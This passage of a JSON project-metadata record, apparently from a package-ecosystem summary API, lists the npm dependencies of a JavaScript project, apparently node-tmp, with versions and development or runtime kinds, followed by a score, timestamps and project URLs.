l":false},{"id":7276073571,"package_name":"json-schema-traverse","ecosystem":"npm","requirements":"0.4.1","direct":false,"kind":"development","optional":false},{"id":7276073572,"package_name":"json-stable-stringify-without-jsonify","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7276073573,"package_name":"lerna-changelog","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7276073574,"package_name":"levn","ecosystem":"npm","requirements":"0.3.0","direct":false,"kind":"development","optional":false},{"id":7276073575,"package_name":"locate-path","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7276073576,"package_name":"lodash","ecosystem":"npm","requirements":"4.17.21","direct":false,"kind":"development","optional":false},{"id":7276073577,"package_name":"log-symbols","ecosystem":"npm","requirements":"2.2.0","direct":false,"kind":"development","optional":false},{"id":7276073578,"package_name":"lru-cache","ecosystem":"npm","requirements":"5.1.1","direct":false,"kind":"development","optional":false},{"id":7276073579,"package_name":"make-fetch-happen","ecosystem":"npm","requirements":"7.1.1","direct":false,"kind":"development","optional":false},{"id":7276073580,"package_name":"mimic-fn","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":7276073581,"package_name":"minimatch","ecosystem":"npm","requirements":"3.1.2","direct":false,"kind":"runtime","optional":false},{"id":7276073582,"package_name":"minimist","ecosystem":"npm","requirements":"1.2.6","direct":false,"kind":"development","optional":false},{"id":7276073583,"package_name":"minipass","ecosystem":"npm","requirements":"3.3.4","direct":false,"kind":"development","optional":false},{"id":7276073584,"package_name":"minipass-collect","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":7276073585,"package_name":"minipass-fetch","ecosystem":"npm","requirements":"1.4.1","direct":false,"kind":"development","optional":false},{"id":7276073586,"package_name":"minipass-flush","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"development","optional":false},{"id":7276073587,"package_name":"minipass-pipeline","ecosystem":"npm","requirements":"1.2.4","direct":false,"kind":"development","optional":false},{"id":7276073588,"package_name":"minipass-sized","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":7276073589,"package_name":"yallist","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7276073590,"package_name":"minizlib","ecosystem":"npm","requirements":"2.1.2","direct":false,"kind":"development","optional":false},{"id":7276073591,"package_name":"mkdirp","ecosystem":"npm","requirements":"0.5.6","direct":false,"kind":"development","optional":false},{"id":7276073592,"package_name":"mocha","ecosystem":"npm","requirements":"6.2.3","direct":false,"kind":"development","optional":false},{"id":7276073593,"package_name":"debug","ecosystem":"npm","requirements":"3.2.6","direct":false,"kind":"development","optional":false},{"id":7276073594,"package_name":"glob","ecosystem":"npm","requirements":"7.1.3","direct":false,"kind":"development","optional":false},{"id":7276073595,"package_name":"js-yaml","ecosystem":"npm","requirements":"3.13.1","direct":false,"kind":"development","optional":false},{"id":7276073596,"package_name":"minimatch","ecosystem":"npm","requirements":"3.0.4","direct":false,"kind":"development","optional":false},{"id":7276073597,"package_name":"mkdirp","ecosystem":"npm","requirements":"0.5.4","direct":false,"kind":"development","optional":false},{"id":7276073598,"package_name":"ms","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":7276073599,"package_name":"strip-json-comments","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":7276073600,"package_name":"supports-color","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":7276073601,"package_name":"move-concurrently","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7276073602,"package_name":"ms","ecosystem":"npm","requirements":"2.1.2","direct":false,"kind":"development","optional":false},{"id":7276073603,"package_name":"mute-stream","ecosystem":"npm","requirements":"0.0.8","direct":false,"kind":"development","optional":false},{"id":7276073604,"package_name":"mz","ecosystem":"npm","requirements":"2.7.0","direct":false,"kind":"development","optional":false},{"id":7276073605,"package_name":"natural-compare","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"development","optional":false},{"id":7276073606,"package_name":"neo-async","ecosystem":"npm","requirements":"2.6.2","direct":false,"kind":"development","optional":false},{"id":7276073607,"package_name":"nice-try","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"development","optional":false},{"id":7276073608,"package_name":"node-environment-flags","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"development","optional":false},{"id":7276073609,"package_name":"nopt","ecosystem":"npm","requirements":"3.0.6","direct":false,"kind":"development","optional":false},{"id":7276073610,"package_name":"normalize-git-url","ecosystem":"npm","requirements":"3.0.2","direct":false,"kind":"development","optional":false},{"id":7276073611,"package_name":"npm-run-path","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"development","optional":false},{"id":7276073612,"package_name":"object-assign","ecosystem":"npm","requirements":"4.1.1","direct":false,"kind":"development","optional":false},{"id":7276073613,"package_name":"object-inspect","ecosystem":"npm","requirements":"1.12.2","direct":false,"kind":"development","optional":false},{"id":7276073614,"package_name":"object-keys","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":7276073615,"package_name":"object.assign","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"development","optional":false},{"id":7276073616,"package_name":"object.getownpropertydescriptors","ecosystem":"npm","requirements":"2.1.4","direct":false,"kind":"development","optional":false},{"id":7276073617,"package_name":"once","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"runtime","optional":false},{"id":7276073618,"package_name":"onetime","ecosystem":"npm","requirements":"5.1.2","direct":false,"kind":"development","optional":false},{"id":7276073619,"package_name":"optionator","ecosystem":"npm","requirements":"0.8.3","direct":false,"kind":"development","optional":false},{"id":7276073620,"package_name":"os-tmpdir","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":7276073621,"package_name":"p-finally","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7276073622,"package_name":"p-limit","ecosystem":"npm","requirements":"2.3.0","direct":false,"kind":"development","optional":false},{"id":7276073623,"package_name":"p-locate","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7276073624,"package_name":"p-map","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7276073625,"package_name":"p-try","ecosystem":"npm","requirements":"2.2.0","direct":false,"kind":"development","optional":false},{"id":7276073626,"package_name":"parent-module","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7276073627,"package_name":"parse5","ecosystem":"npm","requirements":"5.1.1","direct":false,"kind":"development","optional":false},{"id":7276073628,"package_name":"parse5-htmlparser2-tree-adapter","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"development","optional":false},{"id":7276073629,"package_name":"parse5","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"development","optional":false},{"id":7276073630,"package_name":"path-exists","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7276073631,"package_name":"path-is-absolute","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":7276073632,"package_name":"path-key","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":7276073633,"package_name":"prelude-ls","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"development","optional":false},{"id":7276073634,"package_name":"process-nextick-args","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":7276073635,"package_name":"progress","ecosystem":"npm","requirements":"2.0.3","direct":false,"kind":"development","optional":false},{"id":7276073636,"package_name":"promise-inflight","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7276073637,"package_name":"promise-retry","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":7276073638,"package_name":"pump","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7276073639,"package_name":"punycode","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":7276073640,"package_name":"ramda","ecosystem":"npm","requirements":"0.27.2","direct":false,"kind":"development","optional":false},{"id":7276073641,"package_name":"readable-stream","ecosystem":"npm","requirements":"2.3.7","direct":false,"kind":"development","optional":false},{"id":7276073642,"package_name":"regexp.prototype.flags","ecosystem":"npm","requirements":"1.4.3","direct":false,"kind":"development","optional":false},{"id":7276073643,"package_name":"regexpp","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":7276073644,"package_name":"require-directory","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":7276073645,"package_name":"require-main-filename","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7276073646,"package_name":"resolve","ecosystem":"npm","requirements":"1.1.7","direct":false,"kind":"development","optional":false},{"id":7276073647,"package_name":"resolve-from","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7276073648,"package_name":"restore-cursor","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":7276073649,"package_name":"retry","ecosystem":"npm","requirements":"0.10.1","direct":false,"kind":"development","optional":false},{"id":7276073650,"package_name":"rimraf","ecosystem":"npm","requirements":"3.0.2","direct":false,"kind":"runtime","optional":false},{"id":7276073651,"package_name":"glob","ecosystem":"npm","requirements":"7.2.3","direct":false,"kind":"runtime","optional":false},{"id":7276073652,"package_name":"run-async","ecosystem":"npm","requirements":"2.4.1","direct":false,"kind":"development","optional":false},{"id":7276073653,"package_name":"run-queue","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":7276073654,"package_name":"rxjs","ecosystem":"npm","requirements":"6.6.7","direct":false,"kind":"development","optional":false},{"id":7276073655,"package_name":"safe-buffer","ecosystem":"npm","requirements":"5.1.2","direct":false,"kind":"development","optional":false},{"id":7276073656,"package_name":"safer-buffer","ecosystem":"npm","requirements":"2.1.2","direct":false,"kind":"development","optional":false},{"id":7276073657,"package_name":"semver","ecosystem":"npm","requirements":"6.3.0","direct":false,"kind":"development","optional":false},{"id":7276073658,"package_name":"set-blocking","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7276073659,"package_name":"shebang-command","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":7276073660,"package_name":"shebang-regex","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7276073661,"package_name":"side-channel","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":7276073662,"package_name":"signal-exit","ecosystem":"npm","requirements":"3.0.7","direct":false,"kind":"development","optional":false},{"id":7276073663,"package_name":"slice-ansi","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":7276073664,"package_name":"smart-buffer","ecosystem":"npm","requirements":"4.2.0","direct":false,"kind":"development","optional":false},{"id":7276073665,"package_name":"socks","ecosystem":"npm","requirements":"2.3.3","direct":false,"kind":"development","optional":false},{"id":7276073666,"package_name":"socks-proxy-agent","ecosystem":"npm","requirements":"4.0.2","direct":false,"kind":"development","optional":false},{"id":7276073667,"package_name":"agent-base","ecosystem":"npm","requirements":"4.2.1","direct":false,"kind":"development","optional":false},{"id":7276073668,"package_name":"source-map","ecosystem":"npm","requirements":"0.2.0","direct":false,"kind":"development","optional":false},{"id":7276073669,"package_name":"sprintf-js","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":7276073670,"package_name":"ssri","ecosystem":"npm","requirements":"7.1.1","direct":false,"kind":"development","optional":false},{"id":7276073671,"package_name":"string_decoder","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":7276073672,"package_name":"string-width","ecosystem":"npm","requirements":"4.2.3","direct":false,"kind":"development","optional":false},{"id":7276073673,"package_name":"string.prototype.trimend","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"development","optional":false},{"id":7276073674,"package_name":"string.prototype.trimstart","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"development","optional":false},{"id":7276073675,"package_name":"strip-ansi","ecosystem":"npm","requirements":"5.2.0","direct":false,"kind":"development","optional":false},{"id":7276073676,"package_name":"strip-eof","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7276073677,"package_name":"strip-json-comments","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"development","optional":false},{"id":7276073678,"package_name":"supports-color","ecosystem":"npm","requirements":"5.5.0","direct":false,"kind":"development","optional":false},{"id":7276073679,"package_name":"table","ecosystem":"npm","requirements":"5.4.6","direct":false,"kind":"development","optional":false},{"id":7276073680,"package_name":"tar","ecosystem":"npm","requirements":"6.1.11","direct":false,"kind":"development","optional":false},{"id":7276073681,"package_name":"chownr","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7276073682,"package_name":"text-table","ecosystem":"npm","requirements":"0.2.0","direct":false,"kind":"development","optional":false},{"id":7276073683,"package_name":"thenify","ecosystem":"npm","requirements":"3.3.1","direct":false,"kind":"development","optional":false},{"id":7276073684,"package_name":"thenify-all","ecosystem":"npm","requirements":"1.6.0","direct":false,"kind":"development","optional":false},{"id":7276073685,"package_name":"through","ecosystem":"npm","requirements":"2.3.8","direct":false,"kind":"development","optional":false},{"id":7276073686,"package_name":"tmp","ecosystem":"npm","requirements":"0.0.33","direct":false,"kind":"development","optional":false},{"id":7276073687,"package_name":"tslib","ecosystem":"npm","requirements":"1.14.1","direct":false,"kind":"development","optional":false},{"id":7276073688,"package_name":"type-check","ecosystem":"npm","requirements":"0.3.2","direct":false,"kind":"development","optional":false},{"id":7276073689,"package_name":"type-fest","ecosystem":"npm","requirements":"0.8.1","direct":false,"kind":"development","optional":false},{"id":7276073690,"package_name":"uglify-js","ecosystem":"npm","requirements":"3.17.0","direct":false,"kind":"development","optional":false},{"id":7276073691,"package_name":"unbox-primitive","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":7276073692,"package_name":"unique-filename","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":7276073693,"package_name":"unique-slug","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"development","optional":false},{"id":7276073694,"package_name":"uri-js","ecosystem":"npm","requirements":"4.4.1","direct":false,"kind":"development","optional":false},{"id":7276073695,"package_name":"util-deprecate","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":7276073696,"package_name":"v8-compile-cache","ecosystem":"npm","requirements":"2.3.0","direct":false,"kind":"development","optional":false},{"id":7276073697,"package_name":"which","ecosystem":"npm","requirements":"1.3.1","direct":false,"kind":"development","optional":false},{"id":7276073698,"package_name":"which-boxed-primitive","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":7276073699,"package_name":"which-module","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7276073700,"package_name":"wide-align","ecosystem":"npm","requirements":"1.1.3","direct":false,"kind":"development","optional":false},{"id":7276073701,"package_name":"ansi-regex","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"development","optional":false},{"id":7276073702,"package_name":"string-width","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":7276073703,"package_name":"strip-ansi","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7276073704,"package_name":"word-wrap","ecosystem":"npm","requirements":"1.2.3","direct":false,"kind":"development","optional":false},{"id":7276073705,"package_name":"wordwrap","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7276073706,"package_name":"wrap-ansi","ecosystem":"npm","requirements":"5.1.0","direct":false,"kind":"development","optional":false},{"id":7276073707,"package_name":"wrappy","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":7276073708,"package_name":"write","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":7276073709,"package_name":"y18n","ecosystem":"npm","requirements":"4.0.3","direct":false,"kind":"development","optional":false},{"id":7276073710,"package_name":"yallist","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"development","optional":false},{"id":7276073711,"package_name":"yargs","ecosystem":"npm","requirements":"13.3.2","direct":false,"kind":"development","optional":false},{"id":7276073712,"package_name":"yargs-parser","ecosystem":"npm","requirements":"13.1.2","direct":false,"kind":"development","optional":false},{"id":7276073713,"package_name":"yargs-unparser","ecosystem":"npm","requirements":"1.6.0","direct":false,"kind":"development","optional":false}]}],"score":32.957262107780686,"created_at":"2026-07-08T04:55:29.796Z","updated_at":"2026-07-23T12:02:22.829Z","avatar_url":"https://github.com/raszi.png","language":"JavaScript","codemeta":null,"publiccode":null,"project_url":"https://summary.ecosyste.ms/api/v1/projects/377587","html_url":"https://summary.ecosyste.ms/projects/377587"}